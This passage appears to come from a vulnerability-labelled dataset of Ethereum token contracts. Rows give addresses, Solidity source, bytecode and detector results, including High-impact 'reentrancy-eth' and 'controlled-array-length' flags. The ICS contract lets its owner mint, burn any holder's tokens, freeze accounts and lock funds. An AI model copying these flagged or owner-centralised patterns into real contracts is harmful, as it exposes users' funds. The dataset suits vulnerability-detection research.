d60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061178e611490565b9050600061179c8383611897565b306000908152600260205260409020549091506117b99082611725565b30600090815260026020526040902055505050565b6006546117db90836116e3565b6006556007546117eb9082611725565b6007555050565b600080808061180c60646118068989611897565b906114b3565b9050600061181f60646118068a89611897565b90506000611837826118318b866116e3565b906116e3565b9992985090965090945050505050565b60008080806118568886611897565b905060006118648887611897565b905060006118728888611897565b905060006118848261183186866116e3565b939b939a50919850919650505050505050565b6000826000036118a9575060006106ae565b60006118b58385611d84565b9050826118c28583611d62565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561194f8161192f565b919050565b6000602080838503121561196757600080fd5b823567ffffffffffffffff8082111561197f57600080fd5b818501915085601f83011261199357600080fd5b8135818111156119a5576119a5611919565b8060051b604051601f19603f830116810181811085821117156119ca576119ca611919565b6040529182528482019250838101850191888311156119e857600080fd5b938501935b82851015611a0d576119fe85611944565b845293850193928501926119ed565b98975050505050505050565b600060208083528351808285015260005b81811015611a4657858101830151858201604001528201611a2a565b81811115611a58576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8157600080fd5b8235611a8c8161192f565b946020939093013593505050565b600080600060608486031215611aaf57600080fd5b8335611aba8161192f565b92506020840135611aca8161192f565b929592945050506040919091013590565b600060208284031215611aed57600080fd5b81356112e18161192f565b8035801515811461194f57600080fd5b600060208284031215611b1a57600080fd5b6112e182611af8565b600060208284031215611b3557600080fd5b5035919050565b60008060008060808587031215611b5257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8357600080fd5b833567ffffffffffffffff80821115611b9b57600080fd5b818601915086601f830112611baf57600080fd5b813581811115611bbe57600080fd5b8760208260051b8501011115611bd357600080fd5b602092830195509350611be99186019050611af8565b90509250925092565b60008060408385031215611c0557600080fd5b8235611c108161192f565b91506020830135611c208161192f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9e57611c9e611c76565b5060010190565b60008219821115611cb857611cb8611c76565b500190565b600082821015611ccf57611ccf611c76565b500390565b600060208284031215611ce657600080fd5b81516112e18161192f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d415784516001600160a01b031683529383019391830191600101611d1c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9e57611d9e611c76565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b98204ba5fdf5886a97b037521899ba350903600cf56e4a74988881253d797aa64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,948 |
0x16453472bb9759be234245242c610607baa88a12 | /**
*Submitted for verification at Etherscan.io on 2021-05-22
*/
pragma solidity ^0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract ICS is ERC20 {
string public constant name = "Insight Commerce Solution";
string public constant symbol = "ICS";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 2000000000 * (10**uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner {
require(_receivers.length != 0);
require(_receivers.length == _values.length);
for (uint256 i = 0; i < _receivers.length; i++) {
transfer(_receivers[i], _values[i]);
emit Transfer(msg.sender, _receivers[i], _values[i]);
}
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(address _to, uint256 _value)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
}
return super.balanceOf(_holder).add(lockedBalance);
}
function balanceOfLocked(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime > now) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
}
return lockedBalance;
}
function balanceOfTotal(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder]
.length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx)
public
view
returns (uint256, uint256)
{
return (
lockInfo[_holder][_idx].releaseTime,
lockInfo[_holder][_idx].balance
);
}
function lock(
address _holder,
uint256 _amount,
uint256 _releaseTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(_releaseTime, _amount));
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(
address _holder,
uint256 _amount,
uint256 _afterTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(now + _afterTime, _amount));
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length -
1];
}
lockInfo[_holder].length--;
}
function transferWithLock(
address _to,
uint256 _value,
uint256 _releaseTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(_releaseTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(
address _to,
uint256 _value,
uint256 _afterTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(now + _afterTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
} | 0x608060405234801561001057600080fd5b50600436106102115760003560e01c80638a57af6b11610125578063d18e81b3116100ad578063df0345861161007c578063df0345861461078c578063e2ab691d146107b2578063e5839836146107e4578063e960bb481461080a578063f2fde38b1461083057610211565b8063d18e81b3146106fe578063d29dad8314610706578063dd62ed3e1461072c578063de6baccb1461075a57610211565b806395d89b41116100f457806395d89b411461054b5780639dc29fac14610553578063a457c2d71461057f578063a9059cbb146105ab578063c77828d0146105d757610211565b80638a57af6b1461049d5780638d1fdf2f146104cf5780638da5cb5b146104f5578063927a4a7b1461051957610211565b80633f4ba83a116101a85780635c975abb116101775780635c975abb1461043357806370a082311461043b578063715018a6146104615780637eee288d146104695780638456cb591461049557610211565b80633f4ba83a1461039257806340c10f191461039c57806345c8b1a6146103c857806346cf1bb5146103ee57610211565b806323b872dd116101e457806323b872dd1461030a578063313ce56714610340578063378dc3dc1461035e578063395093511461036657610211565b806304859ceb1461021657806306fdde0314610245578063095ea7b3146102c257806318160ddd14610302575b600080fd5b6102336004803603602081101561022c57600080fd5b5035610856565b60408051918252519081900360200190f35b61024d61085b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028757818101518382015260200161026f565b50505050905090810190601f1680156102b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ee600480360360408110156102d857600080fd5b506001600160a01b038135169060200135610894565b604080519115158252519081900360200190f35b610233610910565b6102ee6004803603606081101561032057600080fd5b506001600160a01b03813581169160208101359091169060400135610917565b6103486109f5565b6040805160ff9092168252519081900360200190f35b6102336109fa565b6102ee6004803603604081101561037c57600080fd5b506001600160a01b038135169060200135610a0a565b61039a610ab8565b005b6102ee600480360360408110156103b257600080fd5b506001600160a01b038135169060200135610b8a565b61039a600480360360208110156103de57600080fd5b50356001600160a01b0316610c2a565b61041a6004803603604081101561040457600080fd5b506001600160a01b038135169060200135610ccd565b6040805192835260208301919091528051918290030190f35b6102ee610d46565b6102336004803603602081101561045157600080fd5b50356001600160a01b0316610d56565b61039a610e2f565b61039a6004803603604081101561047f57600080fd5b506001600160a01b038135169060200135610ec4565b61039a611160565b61039a600480360360608110156104b357600080fd5b506001600160a01b03813516906020810135906040013561123a565b61039a600480360360208110156104e557600080fd5b50356001600160a01b031661138d565b6104fd611433565b604080516001600160a01b039092168252519081900360200190f35b6102ee6004803603606081101561052f57600080fd5b506001600160a01b038135169060208101359060400135611442565b61024d611629565b61039a6004803603604081101561056957600080fd5b506001600160a01b038135169060200135611648565b6102ee6004803603604081101561059557600080fd5b506001600160a01b038135169060200135611735565b6102ee600480360360408110156105c157600080fd5b506001600160a01b03813516906020013561177e565b61039a600480360360408110156105ed57600080fd5b81019060208101813564010000000081111561060857600080fd5b82018360208201111561061a57600080fd5b8035906020019184602083028401116401000000008311171561063c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561068c57600080fd5b82018360208201111561069e57600080fd5b803590602001918460208302840111640100000000831117156106c057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611847945050505050565b61023361194f565b6102336004803603602081101561071c57600080fd5b50356001600160a01b0316611953565b6102336004803603604081101561074257600080fd5b506001600160a01b03813581169160200135166119ab565b6102ee6004803603606081101561077057600080fd5b506001600160a01b0381351690602081013590604001356119d6565b610233600480360360208110156107a257600080fd5b50356001600160a01b0316611bba565b61039a600480360360608110156107c857600080fd5b506001600160a01b038135169060208101359060400135611bd5565b6102ee600480360360208110156107fa57600080fd5b50356001600160a01b0316611d21565b6102336004803603602081101561082057600080fd5b50356001600160a01b0316611d3f565b61039a6004803603602081101561084657600080fd5b50356001600160a01b0316611dde565b420190565b6040518060400160405280601981526020017f496e736967687420436f6d6d6572636520536f6c7574696f6e0000000000000081525081565b60006001600160a01b0383166108a957600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6002545b90565b600354600090600160a01b900460ff161561096b576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156109d9576040805162461bcd60e51b815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6109e284611e35565b6109ed848484612058565b949350505050565b601281565b6b06765c793fa10079d000000081565b60006001600160a01b038316610a1f57600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a53908363ffffffff61212116565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6003546001600160a01b03163314610b03576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16610b52576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420706175736564206e6f7760901b604482015290519081900360640190fd5b6003805460ff60a01b191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546000906001600160a01b03163314610bd8576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b610be28383612133565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b6003546001600160a01b03163314610c75576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b0382166000908152600560205260408120805482919084908110610cf457fe5b600091825260208083206002909202909101546001600160a01b038716835260059091526040909120805485908110610d2957fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b038416600090815260056020526040902054811015610e0e576001600160a01b0384166000908152600560205260409020805442919083908110610da257fe5b90600052602060002090600202016000015411610e06576001600160a01b03841660009081526005602052604090208054610e03919083908110610de257fe5b9060005260206000209060020201600101548361212190919063ffffffff16565b91505b600101610d5b565b50610e2881610e1c856121c9565b9063ffffffff61212116565b9392505050565b6003546001600160a01b03163314610e7a576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6003546040516001600160a01b03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a2600380546001600160a01b0319169055565b6003546001600160a01b03163314610f0f576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610f72576040805162461bcd60e51b81526020600482015260146024820152732737903637b1b59034b73337b936b0ba34b7b71760611b604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610fd4919083908110610f9b57fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61212116565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061102857fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b038216600090815260056020526040812080548390811061107357fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611132576001600160a01b0382166000908152600560205260409020805460001981019081106110d557fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061111357fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b038216600090815260056020526040902080549061115b906000198301612404565b505050565b6003546001600160a01b031633146111ab576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16156111fc576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314611285576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b8161128f846121c9565b10156112da576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611303908363ffffffff6121e416565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186524287018082528184018981528354600181810186559487529585902092516002909602909201948555905193909101929092558351868152908101919091528251919260008051602061246d83398151915292918290030190a2505050565b6003546001600160a01b031633146113d8576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546000906001600160a01b03163314611490576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0384166114db576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b6003546114f0906001600160a01b03166121c9565b831115611539576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611564908463ffffffff6121e416565b600380546001600160a01b03908116600090815260208181526040808320959095558883168083526005825285832086518088018852428a0181528084018b8152825460018181018555938752958590209151600290960290910194855551930192909255925484518881529451919492169260008051602061244d833981519152928290030190a360408051848152428401602082015281516001600160a01b0387169260008051602061246d833981519152928290030190a25060019392505050565b6040518060400160405280600381526020016249435360e81b81525081565b6003546001600160a01b03163314611693576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b61169c826121c9565b8111156116e8576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6116f282826121f9565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60006001600160a01b03831661174a57600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a53908363ffffffff6121e416565b3360009081526004602052604081205460ff16156117e3576040805162461bcd60e51b815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff1615611834576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b61183d33611e35565b610e28838361228e565b6003546001600160a01b03163314611892576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b815161189d57600080fd5b80518251146118ab57600080fd5b60005b825181101561115b576118e78382815181106118c657fe5b60200260200101518383815181106118da57fe5b602002602001015161177e565b508281815181106118f457fe5b60200260200101516001600160a01b0316336001600160a01b031660008051602061244d83398151915284848151811061192a57fe5b60200260200101516040518082815260200191505060405180910390a36001016118ae565b4290565b600080805b6001600160a01b038416600090815260056020526040902054811015610e0e576001600160a01b038416600090815260056020526040902080546119a1919083908110610de257fe5b9150600101611958565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b03163314611a24576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038416611a6f576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b600354611a84906001600160a01b03166121c9565b831115611acd576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611af8908463ffffffff6121e416565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b8152825460018181018555938752958590209151600290960290910194855551930192909255925484518881529451919492169260008051602061244d833981519152928290030190a3604080518481526020810184905281516001600160a01b0387169260008051602061246d833981519152928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b03163314611c20576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b81611c2a846121c9565b1015611c75576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611c9e908363ffffffff6121e416565b6001600160a01b03841660008181526020818152604080832094909455600581528382208451808601865286815280830188815282546001818101855593865294849020915160029095029091019384555192019190915582518581529081018490528251919260008051602061246d83398151915292918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b600080805b6001600160a01b038416600090815260056020526040902054811015611dd7576001600160a01b0384166000908152600560205260409020805442919083908110611d8b57fe5b9060005260206000209060020201600001541115611dcf576001600160a01b03841660009081526005602052604090208054611dcc919083908110610de257fe5b91505b600101611d44565b5092915050565b6003546001600160a01b03163314611e29576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b611e32816122a4565b50565b60005b6001600160a01b038216600090815260056020526040902054811015612054576001600160a01b0382166000908152600560205260409020805442919083908110611e7f57fe5b9060005260206000209060020201600001541161204c576001600160a01b03821660009081526005602052604090208054611ebf919083908110610f9b57fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110611f1357fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110611f5e57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114612021576001600160a01b038216600090815260056020526040902080546000198101908110611fc057fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110611ffe57fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b038216600090815260056020526040902080549061204a906000198301612404565b505b600101611e38565b5050565b6001600160a01b038316600090815260016020908152604080832033845290915281205461208c908363ffffffff6121e416565b6001600160a01b03851660009081526001602090815260408083203384529091529020556120bb84848461234b565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082820183811015610e2857600080fd5b6001600160a01b03821661214657600080fd5b600254612159908263ffffffff61212116565b6002556001600160a01b038216600090815260208190526040902054612185908263ffffffff61212116565b6001600160a01b03831660008181526020818152604080832094909455835185815293519293919260008051602061244d8339815191529281900390910190a35050565b6001600160a01b031660009081526020819052604090205490565b6000828211156121f357600080fd5b50900390565b6001600160a01b03821661220c57600080fd5b60025461221f908263ffffffff6121e416565b6002556001600160a01b03821660009081526020819052604090205461224b908263ffffffff6121e416565b6001600160a01b0383166000818152602081815260408083209490945583518581529351919360008051602061244d833981519152929081900390910190a35050565b600061229b33848461234b565b50600192915050565b6001600160a01b0381166122ef576040805162461bcd60e51b815260206004820152600d60248201526c20b63932b0b23c9037bbb732b960991b604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661235e57600080fd5b6001600160a01b038316600090815260208190526040902054612387908263ffffffff6121e416565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546123bc908263ffffffff61212116565b6001600160a01b0380841660008181526020818152604091829020949094558051858152905191939287169260008051602061244d83398151915292918290030190a3505050565b81548183558181111561115b5760008381526020902061115b916109149160029182028101918502015b80821115612448576000808255600182015560020161242e565b509056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557ba265627a7a7231582073b520c1a69f5f17a45a5211d58611a97cff92552b4003ddb29073fa4c187d7864736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,949 |
0x8737df5ef27ef7878312ffb9c91db2faea92e8d6 | // SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'USGOLDBUYERS' token contract
//
// Symbol : USGB
// Name : USGOLDBUYERS
// Total supply: 1 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
